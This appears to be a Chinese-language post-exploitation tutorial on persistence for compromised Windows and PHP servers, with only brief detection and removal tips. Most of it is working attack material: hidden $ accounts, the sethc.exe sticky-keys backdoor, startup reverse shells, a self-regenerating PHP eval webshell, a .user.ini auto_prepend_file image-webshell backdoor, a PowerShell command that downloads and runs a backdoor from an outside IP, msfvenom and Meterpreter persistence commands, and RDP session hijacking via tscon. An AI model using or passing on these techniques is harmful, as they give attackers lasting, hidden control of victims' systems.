后渗透之权限维护
影子账户(在用户名后面加上一个$符号)
原理:创建一个跟普通用户一样的用户,但是只能在注册表中才能查看到的用户。
net user luomiweixiong$ /add
net user
可以看一下对比,创建test用户,net user查看用户是可以看见的,而admin$,因为加了个$符号,用net user命令是看不见的。
如何查看隐藏用户:
在计算机中不同地方看到的用户的数量是有区别的。在控制面版中看到的用户是最少的,而在计算机管理中的本地用户和组的用户能看到一些隐藏的用户,但是对于部分通过后门或者木马添加的帐户,在一般情况是只能通过注册表才能查看到的。
打开注册表:ctrl+r运行—>regedit
找到HKEY_LOCAL_MACHINESAMSAMDomainsaccountUsersNames,在默认情况下,隐藏用户的查看是隐藏的。
解决方法:在SAM文件夹处点击右键—>权限
只有通过administrator给administrator完全控制的权限,这样我们才能看到在SAM文件夹下的隐藏目录和隐藏文件。
点击确定,保存了后,关闭注册表,重新打开注册表,就可以看见SAM目录下的隐藏文件了。这个时候就可以看见添加的隐藏用户admin$
还有个简单的办法,其实在控制面板中也可以看见
如何删除隐藏用户:
①在注册表中右键删除,重启一下即可。
②在控制面板中进行管理删除。
二、shift后门
原理:按5下shift时调用的“粘滞键”,它会运行c:winowssystem32setchx.exe,将这个程序替换成cmd程序
1、将 C:WINDOWSsystem32dllcachesethc.exe删除,这个文件夹中放着缓存,如果不删除就会自动变回去找到
注意:在删除时提示删除不了,你需要trustedinstaller提供的权限
解决方法:
右键—>属性—>安全—>高级—>更改—>高级—>立即查找—>选择一个用户如Administrator—>确定—>确定—>确定
关闭属性窗口,再次右键—>安全—>高级—>更改权限—>双击Administrator用户—>勾选完全控制
即可成功删除文件。
C:WINDOWSsystem32cmd.exe 将其复制并将名称更改为 sethc.exe,放回文件夹中这次按5次shift键就可以打开cmd了
好处:在我们未登陆系统(停留在登陆界面)的时候系统还不知道我们将以哪个用户登陆,所以在这个时候连续按5次shift后的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序。
三、反弹加入自启
1、NC反弹
2、Bash反弹
3、perl反弹
4、Python反弹
5、PHP反弹
6、等等
将反弹的脚本写入到启动项里,当受害者启动服务器时,自动反弹shell。弊端就是要一直监听,还要有公网的IP。
四、隐藏后门文件
1、将木马文件属性改为“隐藏”
2、将木马名字进行伪装处理,伪装成系统文件或者报错文件。
修改时间跟系统文件时间类似。
4、利用循环不死马。
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){file_put_contents('phpinf0.php','<?php $a=array($_REQUEST["kk"]=>"3");
$b=array_keys($a)[0];eval($b);?>');sleep(8);}
?>
说明:此脚本会每8秒不断的向服务器生成一个“phpinf0.php”的一句话木马。
五、利用.user.ini文件自动包含木马文件
1、.user.ini文件是什么
官方解释为自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
通过阅读手册,我们知道在.user.ini中可以识别PHP_INI_PERDIR和PHP_INI_USER模式的INI设置
关于PHP_INI_*一共有四种,重点关注其中可被识别的两种:
模式 |
含义 |
---|---|
PHP_INI_USER |
可在用户脚本以及.user.ini中设定 |
PHP_INI_PERDIR |
可在php.ini,.htaccess或httpd.conf中设定 |
2、找到关键点
而在php.ini中有一个配置项:auto_prepend_file,该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门。
3、再来捋一捋
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。实际上,除了PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来设置的。
而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说当修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
这就很容易地借助.user.ini文件来构造一个“后门”。
4、原理
.user.ini可以识别PHP_INI_PERDIR模式,而PHP_INI_PERDIR模式可在php.ini中设定,也就是说,在PHP_INI_PERDIR模式下,.user.ini可以识别php.ini中的配置项。那么就可以利用php.ini中的配置项:auto_prepend_file,来让php文件在执行前先包含个指定的文件,这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell,也可以是一个图片马(效果与.htaccess漏洞一样)。
比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件(见下面步骤,用正常php文件来当一个桥梁),否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。
5、实现演示过程
因为是用fastcgi解析php文件,所以在phpstudy中要切换版本为nts版本。在phpstudy中nts就是fastcgi模式。
①在目录下创建一个.user.ini文件,内容如下
auto_prepend_file=test.jpg
②然后再创建一个test.jpg文件,内容如下
<?php
if(@$_GET['shell']=='test'){
phpinfo();
}?>
③再创建一个正常的php文件
<?php
echo ‘test123’;
?>
④访问test.php文件,页面显示如下:
⑤在其后加上参数,?shell=test,页面显示如下:
6、整个逻辑过程
当访问127.0.0.1/test.php时,先扫描.user.ini文件,通过.user.ini文件中的配置项auto_prepend_file,在test.php文件被执行前先读取test.jpg内容,if条件不满足,不执行test.jpg中的php代码,所以页面正常显示test.php的内容test123。
当访问127.0.0.1/test.php?shell=test时,先扫描.user.ini文件,通过.user.ini文件中的配置项auto_prepend_file,在test.php文件被执行前先读取test.jpg内容,if条件满足,执行test.jpg中的php代码,所以页面显示phpinfo内容。
Powershell权限维持
参考此Powershell脚本:https://github.com/re4lity/Schtasks-Backdoor
利用代码
①在cmd中输入nc -lvp 9999
②在powershell中输入
powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://119.31.210.50/Schtasks-Backdoor.ps1');Invoke-Tasksbackdoor-method nccat -ip 192.168.68.148 -port 666 -time 2"
说明:
119.31.210.50为受害者IP,前提是要把PowerShell脚本放到受害者服务器能访问到的根路径。
192.168.68.148为接收反弹回来的IP,可用NC监听反弹回来的shell
2、可能会遇到的问题
提示脚本无法运行 解决方法:输入set-ExecutionPolicy ALLSIGNED 选择Y
提示脚本无数字签名无法运行 解决方法:输入set-executionpolicy Bypass 选择Y
metasploit权限维持
1、获取Meterpretershell
使用MSF维持权限的前提是先获得一个Meterpretershell,首先我们先生成一个payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1256 -f exe >xx.exe
在home目录下能看见我们刚刚生成的payload,将它发送给目标主机
msfconsole进入msf
监听端口
被攻击机执行exe文件
2、Metsvc模块
metsvc是通过服务启动,服务名是meterpreter。
启动:
meterpreter> run metsvc -A
移除:
meterpreter> run metsvc -r
该条启动命令执行成功后,会在目标系统自动创建一个 meterpreter 的 serverces ,并自动保存为开机自动启动。
监听31337端口利用handler下的windows/metsvc_bind_tcp模块,重新获得shell。
3、Persistence模块
persistence是通过启动项启动
run persistence -U -i 10 -p 7898 -r 192.168.190.134
参数解析:
-U:设置后门在用户登录后自启动。该方式会在HKCUSoftwareMicrosoftWindowsCurrentVersionRun下添加注册表信息。推荐使用该参数;
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址。
MSF会在目标主机中生成一个vbs文件,并执行
执行background后台运行,设置LPORT,执行
成功的话会得到一个后门,可以再次连接
重启动后任然可以连接
解决办法,删除刚才目录下的vbs
会话劫持
说明:RDP会话劫持是在不知道另一用户密码的条件下进行切换用户登录
query user
sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"
net start sesshijack
只需使用quser命令获取你想要劫持的会话ID和自己的SESSIONNAME。然后运行tscon进行会话ID劫持。你自己的会话将被替换为被劫持的会话。默认情况下,服务将作为SYSTEM运行。
文章资料来源:
http://e86.me/3GqBN8
https://blog.csdn.net/ljl961890233bear/article/details/84685700
https://blog.csdn.net/weixin_43999372/article/details/88544361
https://www.4hou.com/info/news/3898.html
公众号;洛米唯熊
公众号;黑白之道
...
长按识别二维码关注我们!
本文始发于微信公众号(渗透云笔记):后渗透之权限维护 整理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论